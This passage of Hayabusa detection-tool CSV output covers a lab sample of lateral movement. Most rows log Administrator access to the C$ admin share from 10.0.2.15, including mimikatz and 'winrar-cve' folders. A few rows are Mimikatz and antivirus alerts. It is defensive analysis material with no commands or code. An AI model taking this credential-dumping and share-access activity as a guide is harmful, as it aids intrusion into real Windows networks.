Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32\db : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.867 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32\garbage : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.877 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32\memdumps : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.877 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32\platforms : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.877 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.877 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.887 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x64\db : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.887 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x64\memdumps : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.887 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x64\platforms : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.887 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x64\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.897 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\winrar-cve : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.897 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.897 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.897 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.897 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.907 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.907 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.907 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.907 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.907 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.917 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.917 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.917 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.917 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.917 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Recorded TV\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.927 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\mimikatz_trunk : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\mimikatz_trunk\Win32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\mimikatz_trunk\x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.937 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.947 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.947 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.947 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Music\Sample Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.947 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Music\Sample Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.957 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.957 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Pictures\Sample Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.957 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Pictures\Sample Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Videos\Sample Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Videos\Sample Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Recorded TV : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Recorded TV\Sample Media\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.967 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\Recorded TV\Sample Media : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$ : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.977 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.987 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\server01$\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Downloads\desktop.ini : IP Address: 